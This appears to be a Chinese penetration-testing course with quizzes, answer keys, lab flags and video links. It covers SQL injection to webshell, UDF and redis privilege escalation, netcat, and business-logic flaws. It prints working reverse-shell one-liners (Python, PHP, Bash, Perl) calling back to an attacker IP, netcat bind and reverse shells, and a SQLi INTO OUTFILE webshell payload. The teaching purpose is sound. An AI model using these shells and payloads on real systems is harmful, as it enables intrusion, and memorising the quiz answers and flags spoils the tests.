学会从真实的攻防角度上去理解安全问题,掌握安全服务能力。以常见的渗透测试工具使用为基础,锻炼渗透实战能力。


法律声明


(该课件仅用于信息防御技术教学 请勿用于其他用途)

脚本探测
XSS 漏洞成功后,渗透测试工程师能够对用户当前浏览的页面植入一些脚本,通过执行脚本,控制其他的浏览器。这些用以完成各种具体功能的脚本工具,被称为“XSS PayLoad”。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E5%9B%9B/6XSS%E5%B9%B3%E5%8F%B0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/35404800_1566894538.png

以下有关XSS说法正确的是|!XSS跨站脚本漏洞主要影响的是客户端浏览用户|XSS攻击又名跨站请求伪造|XSS是一种具有强攻击性的病毒|XSS是攻击者网Web页面插入恶意的html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到攻击者的目的,这种攻击属于主动式的安全攻击

权限控制
以管理员身份登录后台后,如何获取服务器权限?
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E5%9B%9B/7.1%E6%8F%90%E5%8D%87%E6%9D%83%E9%99%90.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/63380100_1566894538.png

渗透实战过程中哪些漏洞可以直接获取目标系统权限?|!命令注入|!任意文件上传|!文件包含|XSS

SQL注入漏洞如何获取系统权限
在MYSQL数据库下注入漏洞可以通过写WebShell、UDF提权、MOF提权等方式获取系统权限,Sqlserver数据库等可以通过数据库存储过程执行命令。 Oracle数据库可以通过数据库存储过程、Oracle数据库本身缺陷获取系统命令。
XXE漏洞如何获取系统权限
XXE漏洞在XXE解析器支持expect协议的情况下执行命令,当不支持该协议的情况下可以通过其他协议结合服务器本地或内网其他漏洞等获取权限,如通过gopher协议攻击未授权redis服务。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E5%9B%9B/7.2%E6%8F%90%E5%8D%87%E6%9D%83%E9%99%90.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/86315500_1566894538.png

【练习】 先练习视频中讲解的sql注入获取数据信息;再在靶场内进行文件上传测试练习

文件上传练习|以文件上传漏洞获取服务器权限|http://47.106.80.112:8016/|

以下不属于获取网站真实路径的方法的是|phpinfo|报错信息|!sql注入点|网站配置信息

以下SQL注入语句分别对应着
|1'order by 10--+-=order by判断字段数量 |1'and sleep(3)#=时间延迟判断注入点 |1'union select 1,user(),2#=union注入出数据 |1'union select 1,2''into outfile '/var/www/html/uploaad/1.php'--+-=写入webshell提权

武器投递

实战均为本地项目,仅供用于学习红队演练,以攻促防。
SQL注入进行投递的条件:

当前数据库用户有文件写权限



知道绝对路径且可写入可执行



单双引号正常使用

通过SQL注入漏洞写入脚本文件,来达到获取服务器权限的目的。
http://video.twosecurity.cn/实战四/8写入webshell.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/38518000_1566894539.png

以下不属于MYSQL数据库SQL注入写入Webshell条件是?|有可写可执行的绝对路径|有MYSQL FILE权限|!单双引号能正常使用|必须支持多语句注入(堆叠注入)

【练习】在靶场内进行写入webshell练习
下面是一个SQL注入挑战,尝试完成此挑战以巩固技巧。
SQL注入综合练习|充分运用所学知识完成本次SQL注入练习|https://rimovni.exeye.run/hugkudure/hello|two{Il0ve_5tUdy_Up}

战术回顾

在练习靶场进行各种方式的学习,尝试使用多种方法达到我们的最终目的,以此锻炼自身实战能力,充分掌握SQL注入写webshell的流程,这是渗透测试的精髓所在。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E5%9B%9B/9%E7%BB%93%E6%9D%9F.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/60295400_1566894539.png

将对应操作与渗透测试流程对应
|1'and sleep(3)--+-=漏洞发现 |删除webshell及日志=痕迹清理 |爆破子域名=信息收集 |1' union select 1,2,'' into outfile '/var/www/html/uploaad/1.php'--+-=漏洞利用

SQL注入综合练习|充分运用所学知识完成本次SQL注入练习|https://rimovni.exeye.run/idopendo/hello|two{d0nt_f1nd_mE}

大展身手
学习了两个实战场的演练,你是否已经掌握了渗透测试的基本功了呢?是否已经手痒痒想要实际运用一番了呢?
【注意】未经授权,不能进行渗透测试。详情请见 法律声明
在这里,我们为你提供了一整套仿真拟态训练场,你可以在这里大展身手。
大展身手训练场|还在等什么,快来大展身手吧|http://47.106.80.112:8235/|


法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)

战术指导
第一个是通过SQL注入获取服务端数据数据库数据,解密管理员密码进入后台,通过后台任意文件上传漏洞获取服务端webshell,第二个通过XSS窃取管理员cookie信息并登录后台,并通过后台注入写入webshell的方式获得服务器权限。
通过弱口令获取服务器权限:
之前讲解的对目标进行四个维度的漏洞发现,包含哪四个维度?
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/1.1%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/26302500_1578619741.png

利用IIS漏洞进行提权的工具是|桂林老兵|!中国菜刀|IISPUTScanner|一句话木马
在渗透测试中,包括四个维度的漏洞发现:

传统漏洞



利用通用漏洞



弱口令等目标脆弱点



代码审计


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/1.2%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/44575600_1578619741.png

wiki系统
多人协作的写作系统,Wiki是一种在网络上开放且可供多人协同创作的超文本系统,这种超文本系统支持面向社群的协作式写作,同时也包括一组支持这种写作。作者将wiki定义为“一种允许一群用户用简单的描述来创建和连接一组网页的社会计算系统”。Wiki站点可以有多人(甚至任何访问者)维护,每个人都可以发表自己的意见,或者对共同的主题进行扩展与探讨。
以下属于MYSQL注入提权方式的是|!A.udf提权|!B.mof提权|!C.写webshell提权|D.xp_cmdshell提权

扫描目录

目录扫描工具:

御剑 WebPathBrute owasp dirbrute Burp suite等等

基本上这些工具都是基于字典完成对目录文件的扫描,也就是说,当年有一个很完整、高效的字典的时候,工具的差别也就很小了。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/2.1%E6%89%AB%E6%8F%8F%E7%9B%AE%E5%BD%95.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/68130800_1578619741.png

https://github.com/Xyntax/DirBrute

phpmyadmin
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。 当发现一个phpmyadmin页面时,我们可以先尝试一些简单的用户名密码进行登录,比如用户名为root(默认的root用户)、admin,密码为root、pass、password、passwd、123456等等。不行再尝试使用一些phpmyadmin爆破工具进行登录。

简单的弱口令往往不会引起人们的注意,因此我们不要放过每一个可能的机会。

在渗透测试实际的过程中,我们也可以通过社工信息收集的手段,获取目标的一些信息,然后通过这些信息来组建针对性的密码爆破字典,使用更多有针对性的密码爆破规则去构建字典,然后拿这种字典进行密码爆破,这样可以大大地提高我们的爆破效率。

社工: 社会工程学,是一种通过人际交流的方式获得信息的非技术渗透手段。不幸的是,这种手段非常有效,而且应用效率极高。事实上,社会工程学已是企业安全最大的威胁之一。

通过目录扫描发现phpmyadmin页面,通过弱口令成功登录phpmyadmin,获得管理数据库的权限,这种情况下如何提权?
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/2.2%E6%89%AB%E6%8F%8F%E7%9B%AE%E5%BD%95.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/85719300_1578619741.png

思考:本节课我们的环境和上节课的SQL注入有什么不同点呢?

一般情况下,攻击者对目标网络进行扫描的顺序是|地址扫描-->漏洞扫描-->端口扫描|端口扫描-->漏洞扫描-->地址扫描|端口扫描-->地址扫描-->漏洞扫描|!地址扫描-->端口扫描-->漏洞扫描
这种情况下,不同点有:第一,权限不同,本次使用的是root权限,相当于mysql的最高权限。第二,可以通过phpmyadmin执行任意的SQL语句,而SQL注入的方式往往会遇到各种阻碍。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/2.3%E6%89%AB%E6%8F%8F%E7%9B%AE%E5%BD%95.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/14611800_1578619742.png
还可以通过phpmyadmin配置日志的方式获取webshell。
MYSQL是一个()|多用户单进程的SQL数据库服务器|!多用户进程的SQL数据库服务器|单用户多进程的SQL数据库服务器|单用户单进程的SQL数据库服务器
general log 和 general log file,日志记录SQL查询的一些记录,它本身默认是在../data目录下,可以通过修改该目录位置并将状态改为 ON。 再去执行SQL语句,语句中包含webshell的内容,以此达到写入 webshell 的效果。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/2.4%E8%A1%A5%E5%85%85%E8%A7%86%E9%A2%91.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/35365300_1578619742.png

扫描目录训练|通过所学知识,进行对该站点的目录扫描|http://47.106.80.112:8022/|

UDF提权

UDF (Userdefined function) 是用户自定义函数,MySQL为用户提供的一个扩展功能的接口。用户可以通过编写代码的方式编译成 .so .dll 文件,使用自定义的函数。
UDF 提权的条件:

- 需要MySQL高于5.1的版本

- .so .dll 文件必须放在MySQL的plugin目录下

.so 文件 在linux中,用户层的动态库文件。 .dll 文件 库文件即DLL(Dynamic Link Library)文件,是动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。


https://github.com/mysqludf/lib_mysqludf_sys

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/3udf%E6%8F%90%E6%9D%83.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/67261300_1578619742.png

UDF提权的条件是|!能向plugin目录写入so文件|!支持多语句注入|必须是root权限|!有create function权限

redis提权

利用其服务端的程序的配置问题或漏洞来进行提权。
NC概述:
又被称做网络安全中的“瑞士军刀”。一个简单且有用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的网络连接工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还附有几个内置功能。
Windows下的NetCat|https://github.com/diegocr/netcat

参数介绍

nc.exe -h //即可看到各参数的使用方法。基本格式: nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port]

参数|作用 -d|后台模式 -e prog|程序重定向,一旦连接就执行 -g<网关>|设置路由器跃程通信网关,最多可设置8个 -G<指向器数目>|设置来源路由指向器,其数值为4的倍数 -h|帮助信息 -i<延迟秒数>|设置时间间隔,以便传送信息及扫描通信端口 -l|监听模式,用于入站连接,管控传入的数据 -L|连接关闭后,仍然继续监听 -n|直接使用IP地址,而不通过域名服务器 -o<输出文件>|指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存 -p<通信端口>|设置本地主机使用的通信端口 -r|随机指定本地与远端主机的通信端口 -s <来源地址>|设置本地主机送出数据包的IP地址 -t|使用TELNET交互方式 -u|UDP模式 -v|显示指令执行过程 -w <超时秒数>|设置等待连接的时间 -z|将输入输出关掉,只在扫描通信端口时使用

端口的表示方法可写为 M-N 的范围格式。


Windows下:

- 正向连接
服务器执行:nc -l -p 8888 -e cmd.exe 本地主机执行:nc -vv 服务器ip 8888
- 反向连接
服务器执行:nc -e cmd.exe 公网ip 8888 公网主机执行:nc -lvp 8888
几种使用方法:

连接到远程主机命令:

nc -nvv Targert_IP Targert_Port

监听本地主机命令:

nc -l -p Local_Port

端口扫描
扫描指定主机的单一端口是否开放命令:
nc -v target_IP target_Port
扫描指定主机的某个端口段的端口开放信息命令:
nc -v -z Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的某个UDP端口段,并且返回端口信息命令:
nc -v -z -u Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的端口段信息,并且设置超时时间为3秒命令:
nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End

端口监听
监听本地端口命令:
nc -l -p local_Port

注:先设置监听(不能出现端口冲突),之后如果有外来访问则输出该详细信息到命令行
监听本地端口,并且将监听到的信息保存到指定的文件中命令:
nc -l -p local_Port > target_File

连接远程系统命令:

nc Target_IP Target_Port //之后可以运行HTTP请求

FTP匿名探测命令:

nc Targert_IP 21

文件传输
传输端命令:
nc Targert_IP Targert_Port < Targert_File
接收端命令:
nc -l Local_Port > Targert_File

通信
本地主机命令:
nc -l 8888
远程主机命令:
nc Targert_IP Targert_Port

获取shell
获取shell分为两种,一种是正向shell,一种是方向shell。 如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell
正向shell
本地主机命令:
nc Targert_IP Targert_Port
目标主机命令:
nc -lvp Targert_Port -e /bin/sh

反向shell
本地主机命令:
nc -lvp Target_Port
目标主机命令:
nc Targert_IP Targert_Port -e /bin/sh

特殊场景
在一般情况下,目标主机上一般都是不会有Netcat的,此时就需要使用其他替代的方法来实现反向连接达到攻击主机的目的,下面介绍几种反向shell的设置。
python反向shell
本地主机:
nc -lvp 5555
目标主机端执行语句:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP反向shell
本地主机:
nc -lvp 5555
目标主机端执行语句:
php -r '$sock=fsockopen("192.168.11.144",5555);exec("/bin/sh -i <&3 >&3 2>&3");'

Bash反向shell
本地主机:
nc -lvp 5555
目标主机端执行语句:
bash -i>&/dev/tcp/192.168.11.144/5555 0>&1

Perl反向shell
本地主机:
nc -lvp 5555
目标主机端执行语句:
perl -e 'use Socket;$i="192.168.11.144";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/4.1%E5%8F%8D%E5%BC%B9shell.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/84190500_1578619742.png

以下不是通过redis提权的条件是|redis未授权访问|redis以root权限运行|redis端口能被访问|!redis端口必须是6379
获取反向shell之后,我们需要先了解服务器版本信息。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/4.2redis%E6%8F%90%E6%9D%83.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/1434400_1578619743.png

什么是 Redis ?
redis是一个高性能的 key-value 数据库,它是完全开源免费的,而且redis是一个NOSQL类型数据库,是为了解决高并发、高扩展,大数据存储等一系列的问题而产生的数据库解决方案,是一个非关系型的数据库。但是,它也是不能替代关系型数据库,只能作为特定环境下的扩充。支持的数据结构类型包括:字符串(String)、链表(lists)、哈希表(hash)、集合(set)、有序集合(Zset)等。为了保证读取的效率,redis把数据对象都存储在内存当中,它可以支持周期性的把更新的数据写入磁盘文件中。而且它还提供了交集和并集,以及一些不同方式排序的操作。 由于Redis是root权限启动的,由于一些配置不当的问题,导致提权漏洞的产生。
提权大致分为几种,下列属于数据库提权的有|exp提权|!udf提权|!Mof提权|Windows提权

shell提权

拥有写文件的权限,并且可以控制文件名,可以通过写入webshell来获取权限。
http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/4.3%E5%86%99%E5%85%A5shell%E6%8F%90%E6%9D%83.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/20163700_1578619743.png

普通上传webshell的步骤
|第一步=进入后台,寻找上传点 |第二步=尝试正常的上传 |第三步=木马上传 |第四步=使用菜刀连接

战术回顾

从漏洞的发现到利用,通过各种方式去尝试,培养自己的渗透测试思路。


http://video.twosecurity.cn/%E5%AE%9E%E6%88%98%E4%BA%94/5%E6%80%BB%E7%BB%93.mp4|http://wechatapppro-1252524126.file.myqcloud.com/image/ueditor/40940900_1578619743.png
用户注册后有些网站可以上传图片、附件、文件、压缩包等,可以利用上传拿 WebShell ,下面有一个的思路,请将它整理清楚。
头像上传拿WebShell
|1=正常上传一个头像并抓包 |2=将数据包中图片的内容部分删掉 |3=将大马放在文件夹中压缩成压缩文件(zip) |4=重新写入文件内容,将压缩文件写入到原本图片的位置 |5=上传之后返回包中得到绝对路径

大展身手

学习了那么多关于渗透测试的知识,你是否真的消化理解透彻了呢?快来实际操作一番吧。
大展身手训练场|通过前面的学习,相信你已经初步了解了渗透测试,快来大展身手吧|http://47.106.80.112:8623/|

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

业务逻辑漏洞

对一个网站进行渗透测试,业务逻辑漏洞存在的BUG太多了,而这种漏洞往往需要人工安全审计进行检测。逻辑漏洞也是一种重要的漏洞,有时候威胁大到影响服务器的运行。


http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%B8%80%EF%BC%89/1%E8%AF%BE%E7%A8%8B%E4%BB%8B%E7%BB%8D.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/68625400_1566974484.png

验证码的验证机制相对恰当的是|!验证码写在cookie中|验证一次,永久使用|验证码存在session中,并定时删除|验证码与图片存在对应关系

什么是业务逻辑漏洞

逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,而导致一些逻辑分支不能够正常处理或处理错误。 一般有以下几种情况:

密码找回 任意密码修改(没有旧密码验证) 越权访问 API调用 交易支付过程 ......


http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%B8%80%EF%BC%89/2%E4%BB%80%E4%B9%88%E6%98%AF%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/89820000_1566974484.png

【思考】传统漏洞可以从哪三个方面进行漏洞防护?

有关对cookie的处理,错误的是|对cookie进行严格的加密算法,并管理好秘钥|!将用户信息存储在cookie中|cookie中设置session参数,防止cookie长时间使用|!使用简单数值设置cookie
薅羊毛
【思考】“薅羊毛“是业务逻辑漏洞吗?
指以年轻人为主的群体对各类商家开展的一些优惠活动产生了浓厚兴趣,并专门出现了这样一批人,搜集各个银行等金融机构及各类商家的优惠信息,在网络和朋友圈子中广为传播,这种行为被称作薅(hāo)羊毛。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%B8%80%EF%BC%89/3%E8%96%85%E7%BE%8A%E6%AF%9B.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/9185000_1566974485.png
薅羊毛可能是利用业务逻辑漏洞实现的,也可能不是。
为什么我们需要及时修复计算机操作系统和软件的漏洞?|操作系统关闭自动更新,不更新就不会占用网络带宽|!计算机系统或者软件系统的缺陷就是漏洞,病毒和恶意软件可以通过漏洞趁虚而入|操作系统漏洞补丁及时升级,软件漏洞补丁没有必要及时修复升级|计算机存在免疫性,以前经常感染病毒的机器,现在就不会有漏洞了

漏洞分类

业务逻辑漏洞存在的场景主要有:
- 用户注册场景 登录场景 支付场景 修改资料场景 信息交互场景 绑定手机场景

http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%B8%80%EF%BC%89/4%E8%AF%BE%E7%A8%8B%E5%86%85%E5%AE%B9.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/37064300_1566974485.png
业务逻辑漏洞没有一种统一的分类,这里所讲到的并不能完全概括所有方方面面的业务逻辑漏洞,本节课为大家提供的是业务逻辑漏洞的基础,为大家以后深入学习打下基础,需要在今后的学习中和渗透测试项目中逐渐完善自己的知识。
以下有关业务流程正确的是|每个人的支付二维码可以一直使用|用户权限以一个数值来判断|修改信息提交后未对修改的用户进行验证|!每一次请求都需要验证验证码是否正确,超时需要重新验证

权限控制


两种越权的比较:
平行越权访问漏洞,指的是权限平级的两个用户之间的越权访问。 垂直越权访问漏洞,指的是权限不等的两个用户之间的越权访问。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%B8%80%EF%BC%89/5.%E6%9D%83%E9%99%90%E6%8E%A7%E5%88%B6%E5%88%86%E7%B1%BB.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/55751300_1566974485.png

活动类漏洞有哪些潜在安全问题|重放攻击|流程绕过|数据篡改|!以上全是

平行越权


什么是平行越权?
一个正常的用户a通常只能对自己的信息进行修改,但由于系统为对信息修改进行一个判断,判断当前操作是否属于对应的用户的操作,导致用户a可以操作其他人的信息。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%B8%80%EF%BC%89/6%E5%B9%B3%E8%A1%8C%E8%B6%8A%E6%9D%83.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/84549200_1566974485.png

平行越权漏洞的防护
增加访问与操作对象的用户属性,在对目标对象进行访问与操作时,服务端校验会话与对象的用户属性,在校验通过后才能执行读取和操作。

垂直越权


什么是垂直越权?
在博客论坛中,一个正常的普通用户a,通过burpsuite抓包修改自己的用户ID为管理员的用户ID,使其成功登录了管理员的帐号。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%B8%80%EF%BC%89/7%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/10077100_1566974486.png

垂直越权漏洞的防护
所有访问采取默认拒绝机制,采取基于角色访问控制,对于各个功能的访问,规定不同角色拥有不同的访问权限,当用户在使用该功能时,系统要校对用户的权限和访问控制机制是否与规定相同,通过校对者才能使用,否则拒绝使用该功能。

接口控制


什么是接口控制?
在博客论坛中,一个正常的普通用户a使用官方提供的API接口构造链接,用户b通过点击该链接后进行发送或转发用户a指定的内容。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%B8%80%EF%BC%89/8%E6%8E%A5%E5%8F%A3%E6%8E%A7%E5%88%B6.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/35402000_1566974486.png
接口类漏洞大多数都是因为接口没有做验证或者其他预防机制,导致被攻击者所利用,比如一些下载链接接口导致未授权下载,登录接口无验证导致撞库等等。

总结

相比SQL注入、XSS漏洞等传统安全漏洞,现在的攻击者更倾向于利用业务逻辑层的应用安全问题,这类问题往往危害巨大,并且传统的安全防御设备和措施收效甚微。


http://video.twosecurity.cn/业务逻辑漏洞(一)/9权限控制总结.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/57649700_1566974486.png

越权漏洞修复建议

- 基础安全架构,完善用户权限体系。要知道哪些数据对于哪些用户,哪些数据不应该由哪些用户操作 鉴权,服务端对请求的数据和当前用户身份做校验 不要直接使用对象的实名或关键字 对于可控参数进行严格的检查与过滤

有关交易业务逻辑漏洞的修复,正确的是|!充分考虑流程和数据的防泄漏、防篡改、防重放等问题|所以验证及限制都在客户端进行|!对客户端提交的信息进行过滤或验证|!对关键参数在服务端生成或进行二次校验

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

密码找回逻辑漏洞

正常逻辑,重置密码、密码找回需要如下三个条件:
- 用户名 身份证号码 手机短信验证码
然而某些验证不严密的,身份证号码和手机短信验证码均可绕过,只需要知道用户名就可以重置任意用户密码
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/1%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E%E5%88%86%E7%B1%BB.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/75403400_1566979661.png

密码找回的大致流程
|第一步=验证用户 |第二步=找回方式 |第三步=验证提交信息 |第四步=重置密码

凭证破解

凭证是验证用户身份的标识,如果凭证验证环节出现了问题,将会导致很多安全隐患。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/2%E5%87%AD%E8%AF%81%E7%A0%B4%E8%A7%A3.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/21902600_1566979662.png

用户认证|尝试寻找用户认证漏洞|https://untitled-tthv7pk5xegg.runkit.sh/index?|two{user_two_secret}

凭证验证处理恰当的有()|凭证简单易破解|凭证重复使用|!凭证加密且唯一|!凭证回显

弱token

一般都是找回密码链接处对用户标识比较明显,弱token能够轻易伪造和修改。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/3%E5%BC%B1token.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/50193300_1566979662.png

下列有关token说法错误的是|可以避免CSRF|Token可以是无状态的,可以在服务间共享|Token是在服务端生成的|!可以不设有效期

前端校验

在前端进行验证,相当于没有进行任何防范措施,比如登陆状态如果只以登陆状态码进行判断登陆成功标识,那么修改登陆状态码就能进行登录。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/4%E5%89%8D%E7%AB%AF%E6%A3%80%E9%AA%8C.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/71635000_1566979662.png

下列关于前端验证说法正确的是|前端验证不会被绕过|!把验证放在前端会造成各种安全隐患|短信验证码可在前端回显|图形验证码可以在前端验证

步骤可跳过

通过跳过某些关键步骤来达到修改别人密码的目的。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/5%E6%AD%A5%E9%AA%A4%E8%B7%B3%E8%BF%87.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/90864600_1566979662.png

实现找回密码步骤跳过
|1=输入账户和验证码,进入下一步 |2=获取对应的用户标识 |3=访问设置新密码的页面,并带上刚才的用户标识 |4=成功进行重置密码

逻辑漏洞小结

测试业务的时候,先了解清楚业务整体流程,可以利用思维导图快速理清各个业务之间的关系,也可以通过查看 JS 了解(JS 中可能会存在信息泄漏)
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/6%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E%E7%B1%BB%E6%80%BB%E7%BB%93.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/50145700_1566979663.png

未授权访问|尝试寻找用户认证漏洞|https://untitled-0on9w2imekga.runkit.sh/login?|two{i_like_cookie}

以下关于安全漏洞的说法不正确的有|!软件是产生安全漏洞的唯一载体|安全漏洞是所有系统都存在的弱点,没有绝对安全的系统|安全漏洞可能存在软件或系统配置过程中产生|安全漏洞可能存在软件的设计开发过程中产生

支付逻辑漏洞


- 支付漏洞主要涉及四个方面 支付过程中可以直接修改数据包中的支付金额 没有对购买数量进行负数限制 请求重放 参数干扰

http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/7%E6%94%AF%E4%BB%98%E9%80%BB%E8%BE%91%E7%B1%BB.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/72533600_1566979663.png

安全软件提醒你的电脑有系统漏洞,最恰当的做法是?|不予理睬,继续工作|不重要,暂时搁置|关闭提醒|!立即更新补丁,修复漏洞

支付金额

这种漏洞应该是支付漏洞中最常见的。开发人员往往会为了方便,直接在支付的关键步骤数据包中直接传递需要支付的金额。而这种金额后端没有做校验,传递过程中也没有做签名,导致可以随意篡改金额提交,只需要抓包看到有金额的参数修改成任意即可。
